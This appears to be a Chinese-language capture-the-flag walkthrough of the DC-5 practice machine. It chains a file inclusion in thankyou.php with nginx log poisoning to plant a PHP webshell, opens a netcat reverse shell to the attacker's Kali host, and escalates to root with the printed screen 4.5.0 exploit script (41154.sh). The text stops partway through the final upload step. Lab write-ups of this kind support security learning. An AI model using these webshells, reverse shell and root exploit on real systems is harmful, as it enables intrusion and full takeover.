实验环境:
- 目标机DC-5的IP地址:未知(192.168.85.144)
- 攻击机kali的IP地址:192.168.85.139
实验步骤:
1、主机扫描,确定目标主机
命令:arp-scan -l
2、端口扫描,确定详细服务
命令1:nmap -sS -Pn -A -p- 192.168.85.144
命令2:nmap -sV -p- 192.168.85.144
#-sV —— 用来扫描目标主机和端口上运行的软件的版本
3、访问DC-5的web服务,了解相关信息
3.1> 访问DC-5的web服务,只有一个提示,看不出什么特别来;
3.2> 翻一下网站的页面功能后,点击打开contact页面的提交留言后,出现改变;
我们发现:发现contact页面在提交留言后,出现改变,年份刷新一次改变一次,与提示相符,直接去访问thankyou.php也是一样的。
4、使用wfuzz测试页面参数
具体使用可以参考:WFUZZ的使用
5、使用御剑进行目录扫描目标机
6、对状态为200的文件进行访问
注意:访问状态为200的文件,当访问到footer.php文件时,显示如下,并且刷新一次年份会发生改变。
7、之前在thinkyou.php中看到了这种情况(没网页刷新一次,年份都会发生变化),因此我们猜测thinkyou.php调用了footer.php,于是想到了文件包含漏洞
8、猜测一下漏洞是否真的存在和看一下是否会过滤包含进来的文件
8.1> 用burp抓包检测,可以看到的确存在该漏洞并且没有过滤包含进来的内容;
9、将一句话木马写入到php的日志文件中,包含文件
在前面的nmap扫描中,我们已经知道该web服务器使用的是Nginx服务,并且在网站上的每一步操作都将会被写入日志文件log内,因此我们可以通过log来拿 shell,写入phpinfo()进行探测,是否可以包含成功。
9.1> 将一句话木马通过URL写入到服务器上面,并且通过burp进行抓包;
9.2> 通过日志文件log查看是否写入成功;
日志路径为:/var/log/nginx/access.log,是系统默认路径
通过firefox浏览器打开(URL:http://192.168.85.144/thankyou.php?file=/var/log/nginx/access.log),发现一句话木马已经写入成功。
10、直接写系统执行语句,尝试能否带入命令
通过BurpSuite抓包,并写入PHP的执行系统命令
<?php passthru($_GET['hh']); ?>关于passthru()函数的快速描述
passthru - 执行外部程序并显示原始输出
进行测试,看是否外部命令是否能够正常执行的;
命令:http://192.168.85.145/thankyou.php?file=/var/log/nginx/access.log&abc=cat%20/etc/passwd
外部命令已经正常执行。
注意:
当我们写入一句话木马:<?php @eval($_POST['cmd']);?> ,可以通过写入日志文件的路径可以连接,但是蚁剑里面不能够打开终端。可能DC-5后台将eval函数被禁止了。所以我们只能选择别的道路,进行解决。
11、通过nc命令直接进行shell反弹
命令:abc=nc 192.168.85.139 7777 -c /bin/bash
11.1> 在kali上用命令:nc -lvvp 7777 对端口7777进行监听;
11.2> 通过firefox浏览器对日志文件中的木马病毒进行执行;
可以发现我们已经反弹成功!!!
12、切换到交互模式shell
交互式shell命令:python -c “import pty;pty.spawn(‘/bin/bash’)”
13、查看具有特殊权限的二进制文件
查找一下可以用root权限运行的命令;
命令: find / -perm -u=s -type f 2>/dev/null
这里我们发现了一个screen-4.5.0的这个特殊文件;
14、在kali中使用searchsploit命令对screen-4.5.0漏洞进行搜索
我们直接利用/usr/share/exploitdb/exploits/linux/local/目录下的41154.sh文件
15、将该41154.sh文件拷贝到/root目录下
16、因为直接执行这个脚本出现错误了,所以需要对这个脚本完成如下几个工作
具体不走如下:
用vim打开该sh文件,输入:
[plain]
:set ff
回车,显示fileformat=dos,重新设置下文件格式:
[plain]
:set ff=unix
保存退出:
[plain]
:wq
17、将41154.sh文件上床到目标机DC-5上面
我们使用apache进行上传失败;
可以发现通过kali中开启apache服务,通过wget上传文件失败了!!!
最后我们通过ftp服务进行文件上服务
服务端(kali攻击机)
17.1> 在kali攻击机上安装并启动服务端vsftpd服务;
17.2> 添加用户:lisi,并设置密码:123456
17.3> 在家目录下建立lisi文件夹,并将41154.sh文件粘贴到该文件夹里面;
并赋予lisi文件夹写权限;
目标机(DC-5):
17.4> 通过已经拿到的getshell,通过ftp登录攻击机;
17.5> 下载41154.sh文件,到本地的/tmp目录下(因为/tmp的权限为777);
首先查看/tmp的权限;
在本地DC-5目标机下载41154.sh文件;
17.6> 执行41154.sh文件;
我们可以发现,脚本执行出现错误,是我太疏忽了,没有打开41154.sh文件,研究里面的代码。没办法重新开始研究的。。
18、在kali中打开41154.sh文件
root@kali:/home/lisi# cat 41154.sh
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
root@kali:/home/lisi#
通过以上分析,我们应该对以上代码分三步走
第一步:把该bash文件的上面一部分c语言代码单独复制出来,如图
复制完成后,直接带本地对libhax.c进行编译,编译完成后将libhax.c文件删除;
第二步:把下面一个c语言代码也单独复制出来取文件名为rootshell.c,然后进行编译操作;
对rootshell.c文件进行gcc编译后,将原文件rootshell.c删除掉;
第三步:修改原来41154.sh的bash文件,如下图所示;
第四步:通过vi编译器打开已经编译好的41154.sh文件,并使用 :set ff=unix 进行保存;
编译后对41154.sh进行更名为dc5.sh;
19、最后把编译好的两个文件(libhax.so 和 rootshell)和41154.sh文件全部都上传到DC-5靶机上面
通过ftp命令登录kali攻击机;
对文件进行下载操作;